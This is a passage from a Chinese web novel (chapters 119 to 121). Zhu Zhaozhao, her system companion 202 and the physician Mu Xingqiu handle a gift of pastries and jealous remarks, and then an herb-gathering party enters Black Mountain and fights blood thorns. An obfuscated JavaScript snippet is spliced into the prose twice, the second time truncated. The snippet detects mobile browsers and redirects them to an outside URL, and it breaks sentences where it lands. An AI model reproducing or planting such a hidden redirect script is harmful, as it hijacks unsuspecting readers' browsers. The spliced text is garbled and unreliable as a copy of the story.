祝昭昭用一种‘这笨系统怎么回事’的眼神看着202:“他能怎么报复我,把我绑起来,还是直接把我送官府?” 被连环问问懵,202呆了半晌才答:“所以主人你不怕大反派之后给你整点不痛快的事?” 斜睨它一眼,祝昭昭没吭声。 怎么可能不怕。 实际上也不是怕,就是会觉得很麻烦。 她虽然有自信慕行秋不会在大是大非上徇私报复,但哪怕他只是在小事上使点绊子,也足够让自己难受好一阵子。 思忖着,脑海里不由得浮现出慕行秋之前对自己使的那些‘小绊子’,祝昭昭一阵头痛。 视死如归的心情随着逐渐接近住处而越发浓重,正当祝昭昭准备考虑最近要不要去玉娘那边住几天避避风头时,她忽然在玉娘的院子外瞄见一个小小黑影。 “小枝。” 祝昭昭走近玉娘的院子: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15288195|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这么晚了你不休息,在这里做什么呢?” “啊,阿昭姐姐。” 乍然看见祝昭昭,小枝很高兴:“因为小枝今天太开心了,所以睡不着。” 太开心了? 瞄见黏在小枝嘴角的碎屑,祝昭昭心里明白了大半:“你娘今天给你带糕点回来了?” “可是她前两天不是才去过集市么,今天又去?” 她说着,不赞同地皱起眉:“她照顾婆婆辛苦,有什么要买的让我和阿慕代劳就好。做什么跑来跑去的,多累人。” 见祝昭昭有点不高兴,小枝连忙解释:“糕点不是我娘买的,她今天也没去集市啦。” 这答案让祝昭昭一愣:“不是你娘?” 那是…… “是阿慕哥哥!” 小枝揭晓正确答案:“他今天回来的时候带了好多糕饼回来!” “那些糕饼可好吃了。” 像是又想起看见糕点时的景象,小枝快乐地摇晃脑:“娘以前也会买糕饼给我吃,可是阿慕哥哥带回来的糕饼和娘带回来的糕饼一点都不一样,又香又漂亮的,我吃了三块呢!” “是吗。” 暗忖慕行秋还有心思买糕点,或许心情应该没那么糟。祝昭昭越过篱笆,摸摸小枝脑袋:“那阿慕哥哥对你真好。” 小枝猛点头:“阿慕哥哥是好人,不,是大大大大好人!” 刚被他涮过一遍的祝昭昭笑而不语。 见祝昭昭不说话,小枝以为她是没吃到糕饼所以不开心。 于是她拘谨起来,小心翼翼问:“阿昭姐姐你不高兴了吗?” 祝昭昭被问得意外:“没有啊。” 但显然小枝不相信她:“你不要不开心啦,因为阿慕哥哥他还带了一份糕饼回去了哦。” 她满脸确信:“那肯定是给阿昭姐姐你的。” 被小枝言之凿凿的模样逗笑,祝昭昭语气轻快地附和她:“好,我知道了。谢谢小枝你告诉我哦。” “嗯嗯!” 以为自己哄好了祝昭昭,小枝还想再和她多说两句。 然而小枝还没来得及张口,玉娘唤她睡觉的声音便从房中传来。 尽管万般不舍,但她最后只能和祝昭昭告别:“那,那阿昭姐姐,我要回去睡觉了。” 祝昭昭:“早点休息。” 微笑同小枝告别,祝昭昭目送她回家后,转身走向自己的住所。 这当口202又冒出来:“主人,你猜大反派会给你带什么点心。” 祝昭昭面无表情:“我猜他带的点心,是明天拿去医馆做人情往来用的。” 眼神都没得到一个,202落寞地回精神空间emo。 懒得搭理它,祝昭昭推开门一— 慕行秋已经睡下。 随着在这里生活的时间渐长,祝昭昭发现慕行秋偶尔竟然也会睡觉了。 虽说人睡觉很正常,但每次瞧见他躺着的姿势,祝昭昭还是有点不习惯。 什么木乃伊睡姿…… 掠过慕行秋的目光稍显无语,祝昭昭撩开竹帘走进自己房间。 再在瞄见桌上纸包的瞬间愣住。 “这什么啊?” 第一时间赶到的202明知故问:“这不是做人情用的东西吗,怎么出现在桌上了?” ‘做人情’三个字念的时候故意拿腔捏调,它凑到祝昭昭脸旁:“主人,你不解释解释?” 祝昭昭给它的解释,是瞬间爆闪的电火花。 缓步走到桌前,她拎起桌上的纸包。 和其他酒楼不同,眼前的纸包上绑着的,是红色的布条。 祝昭昭知道这个,每次出新时为了突出新品,醉香楼都会在上面特意绑一段时间的红布条。 陆菁很喜欢她,所以每次从醉香楼买来糕点都会分给她尝尝。 她也连带着,会知道那些糕点的价钱。 思忖着,祝昭昭拎起纸包。 随着纸包被拎起,一股属于糕点的甜蜜香气很快落进她鼻间。 起先只是觉得这糕点不愧为醉香楼的新品,甜腻的气息永远叫人闻得食指大动。 可很快,祝昭昭发觉这香气似乎有些熟悉。 “为什么……” 空着的另一只手下意识轻抚下巴,她皱眉盯着纸包半晌。 悄悄地,有风自窗口吹来。电光石火间,一些画面猛地闪过祝昭昭脑海。 这个味道,不就是今天下午她路过醉香楼门口时,那位女娘手里拎着的纸包的味道吗? 红布条支撑不住松开,祝昭昭反射性接住纸包,微热的温度很快顺着她的掌心一路蔓延。 也让祝昭昭意识到,如今被她握在手中的纸包,被人特意点过持温咒。 只是为了让这份糕点,一直维持在最合适的温度。 毫无理由地,祝昭昭忽然觉得纸包变得有些重。 竹帘另一边的灯火映亮间隙,目光长久落在其上,她快速在精神空间中输入一道指令。 最后无声深呼吸,祝昭昭朝着竹帘那侧虚虚一挥手—— 119. “那糕点味道如何?” 寅时初—— 照常睁开眼,视线从屋顶的木纹收回,慕行秋掀开薄被坐起身。 片刻愣神后,他微微皱起眉。 因为他发现自己昨夜竟然真的睡着了。 虽然醒后精神大好,但对他来说却不是好事。 最近他实在过于放松了…… 思忖着,慕行秋扭头。 一帘之隔的那边仍旧早早就没了人影,一同消失不见的,还有桌上的糕点纸包。 抬手间,薄被已折叠整齐落在木枕上方。周身在净身诀下焕然一新。罕见地,今天的慕行秋没有第一时间推门而出。 缓步走到桌旁坐下,他随手替自己倒了杯水。 却并不饮下。 杯中水随着手腕的摇动泛起涟漪,风声与蝉鸣透过门窗传进屋内,让慕行秋下意识有些出神。 她带走了那包糕点。 她会喜欢吗? 她应该是喜欢的,否则怎么会带走。 可如果不喜欢呢? 她昨夜和小枝相谈甚欢,若是拿去送给小枝了呢? 可那又如何,至少她收下了。 念头打着转,让他不受控制地有些心烦意乱。 摩挲杯沿的指尖不自觉停下,一同停下的,还有他散乱的神思。 将杯中水一饮而尽,慕行秋起身开门。 带着湿意的雾气扑面而来,微冷的气息瞬间将他围绕,他却仿佛一无所察。 目光只是静静地,一转不转地,落在薄雾里坐着的少女身上。 而彼时的少女,此刻正坐在精神空间里,和她的便宜系统一起看狗血八点档。 且由于一人一机边骂边看太认真,是以当202边骂边无意间从检测窗口瞄见慕行秋的时候,整个系统都差点吓消失了。 大反派! 是什么时候! 站在那的!! 202:呐喊·jpg 甚至来不及和祝昭昭解释,它先一步伸出了它长长的机械脚—— 那一脚结实得完全不含半点水分。如果不是意识回笼的瞬间,眼尾余光就瞥见门口站着的人影,祝昭昭差点直接跳回精神空间把202电到回收。 缓了半天,眩晕感才不再那么强烈,她忍了又忍,最后才没口吐莲花:“你醒了。” 慕行秋微微颔首:“嗯。” 见状站起身,祝昭昭本来准备往慕行秋那边走,然而她刚动起来,脚下就猛地一歪,整个人往边上倒。 好在半途被一股灵力扶住,才没摔在地上。 “乍然活动易不稳,要小心。” 祝昭昭闻声抬眼的时候,慕行秋已经在她跟前站定:“等很久了么。” 她吓一跳:“……还好。” 回神,祝昭昭拍平坐皱的裙摆后,指了指桌上打开的糕点:“试试吗,味道还不错。” 朝祝昭昭手指的方向望了眼,慕行秋先是默了默。 半晌才淡声:“我以为……” 祝昭昭听不怎么清楚:“什么?” 许多时候,他人听不清的话语,都是慕行秋故意为之。 这次,他本可以同样随意打发了事。 然而对上祝昭昭双眼的刹那,慕行秋自己都不明白,自己为什么重拾话头:“我以为你已经将糕点给了小枝。” 依旧浅淡的话音,这次,祝昭昭却听得清清楚楚。 什么叫‘我以为你已经将糕点给了小枝’? 慕行秋这是在…… 在委屈? 念头冒出脑海的瞬间,她愣。 另一边,话才出口就垂下眼帘,慕行秋很快继续道:“先前我已将玉娘她们的份交与她们,而小枝年岁尚幼,吃太多甜食对她并无好处。” 神情依旧呆呆的,祝昭昭条件反射地答应他:“嗯,我明白你的意思。” 明白他的意思? 袖下藏着的指尖微蜷,慕行秋脸上表情依旧平静:“所以我本想,若是你将自己那份糕点也给了小枝,可以告诉我。” “到时我便可从医馆,带些健脾养胃的药丸回来给她。” 终于回过神来,祝昭昭表示赞同:“原来如此。” “嗯。” 慕行秋道:“那么时辰不早,我们……” “可是。” 直直望着面前始终低垂眼帘的人,祝昭昭声音清朗:“我并没有想过要把我的那份糕点给小枝啊。” “毕竟这是你特意带回来的,不是吗。” 风似乎停了一瞬。 对上视线的刹那,祝昭昭清晰地看见慕行秋眼底闪过某些情绪。 却分不清那情绪究竟是什么。 只是直觉必须打破现在的气氛:“而且醉香楼的糕点那么出名,我要是不尝尝,岂不是有些可惜?” 玩笑话发挥了它的作用。 眼底的涟漪闪动着消失,慕行秋恢复古井无波的模样:“无妨。” “路过时顺手带回来的罢了。” 有些惊奇地睨了面前人一眼,祝昭昭没吭声。 ‘路过时顺手’?? 桌上包糕点的,新品专用的红绳还被压在油纸底下,祝昭昭移开视线。 行,你说顺手就顺手。 祝昭昭:微笑·jpg 人已经等到,加上天色不早,祝昭昭便准备出发去绣坊。 转过身,三下五除二把桌上余下的糕点包好收进储物袋,她朝不远处的篱笆门口轻抬下巴:“走吧。” 没有半点停顿,慕行秋闻言,立刻走到祝昭昭身旁与她并肩。 神态之自如,仿佛先前几日两人间的‘你追我逃’从未发生过。 祝昭昭当然乐得借驴下坡。 且因为向来小心眼的慕行秋,这次竟然没怎么和自己计较。 本来已经做好心理准备会被他阴阳怪气一段时间的祝昭昭心情大好。 也就没太在意走到半路,忽然从身旁幽幽飘来的那句‘既然你已尝过醉香楼的糕点,下次便不要再和人去醉香楼了。’ 这会儿看路边的石头都可爱,祝昭昭想都不想就答:“我本就不怎么去醉香楼,我去春喜楼更多。” 身旁话音接得飞快:“春喜楼也要少去。” “才不要,”祝昭昭不满,“陆小姐带我们去的,怎么能不去。” “总之不要与那葛姓男子去。” “……?” 祝昭昭惊呆。 像辩解又像遮掩,慕行秋很快补上下一句:“我们不会在此久留,再者他们与我们毕竟……” 祝昭昭静待下文。 慕行秋却直接跳到总结:“总之,你日后切莫再与那葛姓男子纠缠。” “……” “不行么?” 行什么行啊本来就子虚乌有的事。 祝昭昭:这是在干什么·jpg 祝昭昭本打算以沉默代替回答。 然而没听见她说话,慕行秋居然再度开口:“不行么?” “……” 明明是一如往常般平静的话音,祝昭昭却诡异地听出一丝幽怨。 而且不知道是不是错觉,随着沉默的时间渐长,她发现自己身旁视线的存在感,也开始变得越来越强烈。 祝昭昭最后选择认输:“……行。” 气氛陡然变得轻松。 恢复安静的空间里,一时只剩下两人的脚步声。 然而好景不长—— “明日我亦是寅时初起。” “……” “但若是你想更早些去集市,我可以起得更早些。” “……知道了。” “所以——” “所以明天我会寅时初起的。” 忍无可忍地扯出一抹笑,祝昭昭望着慕行秋:“你还有什么问题吗?” 静静瞧她片刻,慕行秋视线忽地向下:“小心水坑。” 脚下动作比脑子反应更快,当祝昭昭终于意识到慕行秋说了什么的时候,湿润的凉意已经顺着足尖传上来—— 夭寿啊!! 几乎是立刻蹦离水坑,祝昭昭连忙以灵力蒸干鞋子。 她就知道这家伙一定会找机会摆她一道! 祝昭昭:记仇·jpg * 照旧从铺面后门进绣坊,祝昭昭脚步轻快地掀开珠帘,再被眼前站满人的门口震惊地站在原地。 嘈杂的交谈声很快涌进耳中,刚好有人从面前路过。和其对上视线的瞬间,祝昭昭终于回过神来:“这什么情况……” “阿昭你来啦。” 好在陆菁很快注意到站在门口的她,立刻招手示意她过来:“来这边。” 祝昭昭依言朝陆菁走过去。 然而还未走到近前,她就被着急的陆菁直接拉到身旁,和陆菁对面的陆掌柜来了个大眼瞪小眼。 完全没注意到两人间略显尴尬的氛围,陆菁一脸严肃地盯着对面的陆澈:“爹,你要记好,这就是阿昭哦!” 被点到名的祝昭昭,望着对面熟悉的人脸:“……陆掌柜好?” 陆澈顿时啼笑皆非。 无奈拍了拍陆菁的脑袋,陆澈笑骂:“糊涂,我能不认识阿昭吗?” 陆菁嘻笑着捂住脑袋:“那女儿不是担心吗。” “担心还让阿昭跟我们去黑山。”陆澈不赞同地皱眉,“你不知道黑山有多危险吗?” 被说的面上挂不住,陆菁顿时重重一跺脚:“我……!” “是我和菁小姐提的。” 见势不妙,祝昭昭出来打圆场:“我对山林熟悉,又听菁小姐说大家每次去采宵语花都会有损失,就想尽自己一份力,希望能帮到大家。” “爹你看看人家昭昭。” 有人帮着自己说话,陆菁立马气势十足:“人家愿意主动去那么危险的地方帮你,你还不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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祝昭昭随便扯了个理由:“刘叔本就是掌柜的好不容易请来的人,若是我们还对他颇多要求,他兴许会对我们有意见也说不定。” “但如果我们少与他多话,今后若有需要,没准他还愿意来掌柜的队伍呢。”祝昭昭笑。 父女俩当时就被祝昭昭舍己为绣坊的高洁精神感动了。 尤其陆澈,更是直接拍上了祝昭昭肩膀:“好孩子,今后就算玉娘回来了,你也留下吧。” “我给你涨工钱。” 强忍住想笑的冲动,祝昭昭亦‘郑重’地望着陆澈:“谢谢掌柜,我会考虑的。” * 护卫一事暂时告一段落后,祝昭昭才终于找到机会和陆菁说点别的。 比如采摘宵语花的时间,为什么会突然提前—— “因为魔宫突然催着要流云锦了!” 陆菁满脸愁色:“催得可紧了,半个月内就要交出十匹流云锦。宵语花又不剩多少了,我们只能提前去摘。” “也是因为这样,我爹才会答应让你和队伍一起进黑山的。” 那还该感谢魔宫创造机会了。 漫无目的地想着,祝昭昭继续道:“采摘需要多长时间,加上织就流云锦的时间,半个月够吗?” “只要宵语花够,织流云锦是没问题的。” 愁容稍稍褪去,陆菁脸上多了些神气色彩:“我们已经为魔宫进献流云锦很长时间了,这件事不需要担心。” “原来如此。”陆菁已经把话说到这种程度,祝昭昭便也没再反驳。 她有更关心的事:“那么队伍稍后就会出发么?” “因为这次召集队伍一事确实匆忙。” 扫了眼正在边上搬着东西的人,陆菁道:“哪怕我爹和阿福已经准备好大部分东西,但有些难以采买的东西还在等店家做出来。” “所以应该会再等约莫三个时辰才出发。” 三个时辰…… 祝昭昭闻言,下意识抬眼想去瞧天色。 202的提醒比她更快一点:“差不多是中午十二点。” 祝昭昭于是收回目光:“既然如此,那这期间还有什么我能帮得上忙的地方吗?” 陆菁咯咯笑:“没有啦,阿昭你坐着等出发就好。” ‘唔’一声当做回答,祝昭昭四处张望,想找找哪里有地方坐。 很快瞄到一处有着几块碎石的角落,她脚步微动刚准备过去,就忽然听见陆菁叫自己—— “阿昭。” 祝昭昭脚步暂时停下,视线却仍停留在那处:“什么。” “我是想问。” 陆菁话音里带着疑惑:“慕大夫他……” “是不是喜欢你啊?” 202震惊的吸气声在脑海响起的同时,祝昭昭也傻在原地。 120. “慕大夫是不是喜欢阿昭你啊?”^…… 等等。 她刚才听到了什么? 很难形容听清陆菁问题后自己的心情,祝昭昭慢动作扭头—— 正对一脸懵的陆菁。 祝昭昭:…… 啊,行吧。 忍住扶额的冲动,她尽量让自己的话音,听起来不会让陆菁激动:“为什么这么问?” “因为慕大夫很奇怪嘛。” 陆菁开始严肃地举例证明慕行秋的‘可疑之处’:“昨天我让阿如哥带阿昭你去醉香楼,他一直在阻拦。” 所以好孩子,你现在才反应过来吗? 祝昭昭无奈:“我记得他说过,玉娘的婆婆在等我们回去熬药。” “可你不也只是干些打下手的活计嘛!” 陆菁回得很快:“既然你本来就只是负责些不重要的活计,那昨天那种情况下,慕大夫为什么还硬要叫你回去和他一起?” “他那么聪明,难道不知道我是在帮你寻个好人家吗?” 就是因为他太聪明,所以才更不可能让你有机会帮我‘寻个好人家’。 祝昭昭:礼貌围笑·jpg 不过吐槽归吐槽,该解释的还是要解释:“我先前与你说过,他是我哥哥的好友,他答应过我哥哥,一定会把我保护好。” “所以也许就是因为这样,他才不想随意让我与葛三公子接触吧。” “可是慕大夫诊治的人那么多,他能认不出葛三公子是谁吗?” 陆菁一脸‘阿昭你在说什么’的表情:“葛三公子为人有口皆碑,家境更是比我们陆家都略胜几分。” “阿昭你与葛三公子在一起,难道不是最好的保护吗??” 陆菁脸上的震惊,相当真情实感。 “而且若只是这样也就算了。” 她话不停:“关键是他昨天竟然独自一人来了绣坊仓库。” 瞧着陆菁说这话时,眼里变得更深的惊讶,祝昭昭觉得这问题简直无厘头:“那有什么问题吗?” “问题可大了!” 恨铁不成钢地伸手点了点祝昭昭额头,陆菁说:“慕大夫知礼,往常都是我爹娘娘或者我亲自引他,他才会随我们一同进到绣坊内部。” “若只有他一人,他便只会待在铺子里,绝不随意走动的。” 祝昭昭没吭声。 不得不说,如此有距离感的操作,确实是慕行秋的风格。 但她还是搞不懂,这件事为什么能成为陆菁问出‘慕大夫是不是喜欢你’的理由:“……所以?” “所以慕大夫为什么偏偏挑我带阿如哥去找你的那天,主动进绣坊仓库?” 陆菁说着,忽然凑到祝昭昭耳边:“这么说我又想起一件事。阿昭,你知道慕大夫第一次在绣坊瞧见你那天,他和我说了什么吗?” 第一次在绣坊瞧见她…… 快速回忆了一下,祝昭昭很快想起陆菁说的,应该是慕行秋明明看见自己却没搭理自己那次。 暗忖人在眼前都装看不见了,嘴里还能吐出什么好话。她隐隐没什么好气地问:“他说了什么?” “慕大夫说啊……” 话说到一半,陆菁咯咯笑起来:“他说你初来乍到,虽然精通织造,但对于我们家绣坊的独特规矩,可能不会了解得那么快。” “所以那段时间你若因不懂规矩闯出什么祸啊,希望我们能看在他的份上,多担待你一些呢。” 陆菁说完,自己先按捺不住,笑得弯下腰来。 边笑,嘴里边断断续续地道:“但现在看,慕大夫根本就想多了嘛,阿昭你那么聪明,怎么可能会闯祸呢?” 她轻快的笑声,在四周嘈杂的响动里显得尤为鲜明悦耳。 祝昭昭却听不进去。 她满脑子都是陆菁的那句:‘希望我们能看在他的份上,多担待你一些’。 慕行秋…… 原来是一个会愿意为了他人,让自己欠人情的人吗? * 祝昭昭没有在谈话里找到答案。 因为很快,采摘队伍所缺的物什就送来了。 望着林林总总被送进来的大袋小袋,陆菁无不可惜:“唉,不是说好了三个时辰吗,居然这么早就送来了。” “我还没说完呢。” 祝昭昭没吭声。 比起陆菁的意犹未尽不满意,她则放松得差点笑出声来。 整理好表情,祝昭昭假装正色:“说什么呢,闲聊还能重要过摘宵语花吗。” 陆菁还是忿忿:“反正也就几个时辰的事嘛。” 不过说归说,陆菁当然也很清楚孰轻孰重。 于是朝正站在铺子后门叫自己的陆掌柜挥手,示意自己听见了以后,她最后握住祝昭昭的手:“阿昭,采摘宵语花真的很危险,你一定要小心哦!” 祝昭昭微笑点头。 队伍已经在绣坊后门处集结好,林乾福招呼祝昭昭过去。 祝昭昭闻言刚准备答应,陆菁已经抢先一步开口:“阿福,你一定要照顾好阿昭哦!” 林乾福含笑应她。 被动吃了一嘴狗粮,祝昭昭默默地往队伍走。 然后收获陆菁同样音量超大的一声:“阿昭,等你回来,我再让阿如哥挑日子来找你哦!” 脚下顿时绊了一个踉跄,祝昭昭只当没看见前方队伍齐刷刷望向自己的视线。 她对林乾福使眼色:“告诉菁小姐我知道了。” 林乾福先点头表示自己听到了。 再用和陆菁同样的音量—— “菁菁,阿昭说她知道了!” 此话一出,祝昭昭面对的队伍视线顿时变得更多。 她人也彻底麻了。 面无表情地对上所有望着自己的视线,她满脑子只剩下一句…… 现在用易容术还来得及吗? * 在和林乾福的闲聊中,祝昭昭知道了他们一行人口中的黑山,就是玉娘住所附近的山脉。 只不过他们的目的地,在玉娘住所方向的另一边。 “主人啊。” 望着前方有序行进的队伍,202作思考状:“我有一个问题。” 以为他是对采摘计划有疑问,祝昭昭回它:“你的问题,我建议你留到目的地问。” 202表示很惊讶:“那种问题也要留到目的地再问吗??” 被噎得一哽,祝昭昭过了好一会儿才应道:“和目的地有关的问题,为什么不留到目的地问。” 202更惊讶了:“因为我要问的问题和目的地无关啊。” 祝昭昭:…… 她开始意识到什么:“所以你想问?” “我们没和大反派打招呼就贸然跑出来他会找我们麻烦吗?” 一口气把话说完,202自己得意了半天才继续说:“毕竟你们刚因为这事闹矛盾,主人你还好不容易才把他哄好。” “现在我们突然就进山了,大反派会不会有意见啊?” 它说得真情实感,完全没注意到祝昭昭一旁祝昭昭的反应。 以至于当它终于心满意足地瞄向祝昭昭时,才发现一切似乎都晚了。 再次偷偷瞧了眼面无表情的祝昭昭,202悄咪咪地:“主人你……” “我什么时候哄他了。” 202脑海瞬间警铃大作。 深知此刻绝对不能接话,它装作没什么事的找补:“哎呀主人你真是误会了其实我——” 祝昭昭死鱼眼盯着202:“你给我说说,我什么时候,哪方面在哄他了?” 202:“……” 祝昭昭:“接了他的糕点?主动给他台阶下,早上等他?” 202:“……” 祝昭昭:“说啊,哪方面?” 精神空间陷入死寂。 直到202‘噌’地一声,伸出两支细长的机械脚—— 再‘扑通’一声土下座:“主人对不起,我错了。” 祝昭昭没说话。 但不知为何,202总觉得刚才四周隐约响起的电流声不见了。 劫后余生的202:活着真好。 ‘小小’插曲结束,祝昭昭进入正题:“镇上的路线你记录了多少。” 刚收起机械脚,202立刻答:“全部记录完了。” “黑山呢。” 对林乾福递过来的水囊摆摆手,祝昭昭边在精神空间继续:“玉娘家附近你记录了多少,有没有探查到可疑路线。” 闻言额间弹出光幕,202看着上方快速流转的信息界面:“玉娘家附近的话,方圆十里已经探查完毕,但没有发现什么可疑路线或者地点。” “而且因为黑山确实面积太大了。” 202语气有些发愁:“如果真的要地毯式探查的话,会消耗很多时间,不太现实。” 祝昭昭并不意外:“我知道。” 202:“所以主人你的意思是?” “尝试缩小搜索范围。” 祝昭昭若有所思:“一般来说,有特殊存在的地方,附近通常也会存在一些特殊植被或特殊地貌。” 很快意识到什么,202作思考状:“所以主人你是想说,我们可以挑一些和其他地点有 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暗忖着,祝昭昭刚想说点什么,就听林乾福接着道:“而且大约在二里路时,会有一处噬骨荆丛。” “噬骨荆丛?”祝昭昭疑惑出声。 “没错。” 林乾福兴致勃勃地准备讲解:“之所以将那处称作噬骨荆丛,是因为……” 祝昭昭打断了他:“因为什么先不说,小林哥。” 林乾福微笑:“嗯?” 祝昭昭环顾四周:“从出发到现在,我们一共走了几里地?” 虽然嘴上在问问题,然而事实上,祝昭昭心里已经有了肯定答案。 因为下一秒,原本走在队伍前方的小队人马朝这边走来。 刘友在最前面。 “跟在我身后。”抛下这一句,刘友转身就走。 微一颔首算是和林乾福道别,祝昭昭跟上刘友。 而随着队伍前进,祝昭昭很快知道‘噬骨荆丛’的‘噬骨’,究竟是什么意思。 “尽量把鸡和骨头往远了扔。” 将手里准备好的生鸡朝远处用力一掷,领队的周方同时叮嘱:“不要让荆棘有机会靠近我们。” 队伍闻言齐齐答应,投掷声顿时此起彼伏。 祝昭昭则望着身旁瞬间追赶生肉而去的血色荆棘:“刘大哥,直到走出此处前,我们都要用血肉开路吗?” 拨弄着手里的匕首,刘友并不接话。 祝昭昭见状,也不再自讨没趣。 事实上,她很清楚血荆棘的特性。之所以问刘友,只是出于如果能和他熟络,接下来也许就可以商量着单独行动的意图。 但刘友看起来并没有和她交流的意思。 所以到了必要时刻,她就只能考虑趁机甩掉刘友。 思忖着,祝昭昭目光漫无目的地开始扫,又在瞄到林乾福时瞬间停住。 她指了指林乾福包着绷带的手腕:“刘大哥,林大哥手上的伤口,会不会引来血荆棘?” 刘友顺着祝昭昭手指的方向扫了眼:“没事。” 真的没事吗? 仔细观察离林乾福最近的血荆棘,祝昭昭继续:“还是谨慎些为妙吧。” 刘友语气顿时不耐烦:“那林乾福旁边有的是人,用不着你操心。” “管好你自己。” 他话落,重重冷嗤一声。 祝昭昭却已无意深究他的态度。 她箭步冲到林乾福身边,一把将其扯离原地。 踉跄着被一个护卫扶住,林乾福刚想问祝昭昭怎么了,却一抬眼,就被面前的景象惊呆在原地。 一根手臂粗的血色荆棘,出现在他刚才站着的地方。 而荆棘旁,赫然是祝昭昭的身影。 林乾福大惊失色:“阿昭!” 暗忖自己身上没血气,应该是安全的。祝昭昭闻言朝他安慰笑笑,脚步微动准备跑开。 然而下一秒,那荆棘竟倏地暴起,朝她凶猛刺去! 惊呼声在耳边响起,血色荆棘也离自己越来越近。祝昭昭气得半死之余,迅速按202的提示准备躲避。 却就在荆棘即将与自己擦肩而过的刹那,祝昭昭忽然感觉腰间有什么东西缠了上来。 下一秒,失重感降临,她跌进一个怀抱。 带着些许无奈的熟悉话音,也一同在头顶响起—— “独自出行,你就这样照顾自己么?” 121. 你跟踪我?! 化成灰都能认出来的声音,出现的时刻却有些不合时宜。 但吓一跳的祝昭昭很快镇定下来。 她抬头:“你怎么在这里?” “我为什么不可以在这里。” 莞尔失笑,慕行秋垂首挑眉:“还是我出现在这里,需要提前与你说一声?” 祝昭昭条件反射一样回:“当然不是。” “对。” 慕行秋语气轻巧随意:“就像你独自出行,也未曾与我说一般。” 祝昭昭顿时被噎得一哽。 不是…… 我请问呢? 慕行秋说话时已经抬起头,是以祝昭昭只能瞧见他下半张脸。 以及他唇角那意有所指的浅淡弧度。 所以这是兴师问罪来了? 不爽之余,又想起早上的事。很难说清自己为什么突然有点心虚的感觉,祝昭昭心情复杂。 鼻间开始弥漫起带着暖意的月清花香,想了想,她开口:“……队伍是提前出发的,陆菁一开始告诉我的出发日其实在三天后。” 已经稳稳退到终于赶来的护卫身后,慕行秋轻声:“嗯。” “所以我原本想等今晚或明晚,再与你说。” “若是明晚,同样太迟。” “是么?” “是。若是消息确切,你尽早告知我,方才稳妥。” 祝昭昭没再吭声。 因为虽然不告而别确实不好,但在此之前,她忽然发现了一件更严重的事情。 那就是…… 去哪里明明是她的自由。 她为什么要花心思去和慕行秋解释? 还是主动解释? 刚才到底发生了什么?? 祝昭昭:沉思·jpg 打斗声和怒吼声很快从不远处传来,回过神,祝昭昭下意识想过去帮忙—— “你能把我放下来吗?” 慕行秋闻言神色自若,甚至笑得更礼貌了:“自然。” 双脚终于落地,祝昭昭快速整理了一下仪表。 这当口边上再度传来慕行秋的声音:“方才是我失礼。” 失礼? 朝他方向扫了一眼,祝昭昭没说话。 那表情看起来可不像觉得自己失礼。 倒像是根本不觉得自己有什么问题。 暗忖着偷偷翻了个白眼,祝昭昭懒得搭理他。 转而望向与血荆棘搏斗的众人:“身上血气重的人尽量聚集在一起,其他人趁血荆棘攻击他们时动手,还有血肉块的也快些抛出去。” 她刚说完,众人很快响应。 刘友却轻蔑嗤声:“血荆棘皮糙肉厚,哪是随便能砍动的。” “你别叫那些人去送死。” 闻言也不恼,祝昭昭就那么静静盯着刘友。 直到他面色微变,她才终于开口:“你站在那,就能让他们活?” 自觉在刚才的对峙里落了下风,刘友恶声恶气:“我只要看住你。” “那你看住我了?” 不答反问,祝昭昭语调微讽:“刚才救下我的,是你?” 刘友又惊又气:“你!” “你要么现在就去帮他们,”祝昭昭不为所动地接过他话头,“要么现在就回去。” “不要说什么你是来保护我的。” 不再客气,祝昭昭盯着刘友的目光冷冷:“如果队伍都折损伤重,只有我一个人安全,也没什么意义。因为我们最终的目的是采宵语花。” “那又如何?” 刘友粗声粗气:“陆家掌柜一开始就只是请我保护你,宵语花摘不摘得到跟我有什么关系?” “我说了,那你可以现在就走。” 无视刘友的吼声震天,祝昭昭毫不退让:“我不需要你保护。” 气得指着祝昭昭的手指都在抖,刘友连声道:“好,好。这可是你说的,我现在就……” 下一秒,原本还在和队伍缠斗的血荆棘突然发狂般扑向刘友。 手臂粗的荆棘劈头盖脸地抽下来,带起的碎肉残血飞溅到刘友脸上,吓得他倒抽口凉气。 得空喘息的队伍众人见状也纷纷叫喊,让刘友赶紧逃。 可血荆棘速度之快,又哪是刘友这个肉/体凡胎能逃掉的? 眼看血荆棘就要抽到自己身上,刘友认命般抱头闭眼。 ‘轰’声巨响炸开。 尘烟散尽后,众人纷纷去看—— 这才发现刘友竟然好端端地站在原地。 众人大惊:“这是怎么回事?!” “血荆棘最惧苦根。” 慕行秋含笑的声音,恰如其分地响起:“而方才血荆棘扑向刘大哥时,我趁顺风撒了些苦根粉在他身上。” “竟有此事。” 林乾福振奋起来:“那慕大夫还有多余的苦根粉吗?” 慕行秋微一颔首:“自然。” 不给林乾福继续开口的机会,他话锋一转:“只是我也想趁此机会问问刘大哥,可否不要与阿昭太过计较?” 慕行秋话落,空气陷入短暂的沉默。 接着,队伍里开始有人试图打圆场:“哎呀,老刘就是个粗人,慕大夫你别和他计较……” “她年岁尚小,” 慕行秋神情依旧淡淡,话语却没有丝毫回旋的余地:“行事也许难以让刘大哥你满意。但她毕竟是我友人之妹,我须得照顾好她。” “所以粗俗之人也好,有礼之人也罢,请刘大哥看在我的份上,不要再与阿昭针锋相对。” “可以么?” 明明是温和有礼的劝告,慕行秋脸上甚至还挂着堪称温和的笑容。 可在外围血荆棘疯狂挥舞,随时可能将人捅个对穿的情况下,他依旧不为所动地捏紧救命物什,只为劝告成功…… 于是他这笑容看在众人眼里,渐渐变了味。 众人神情中的警告意味随着气氛逐渐窒息而愈加分明。刘友死扛许久,终于低头:“……我知道了。” 皆大欢喜。 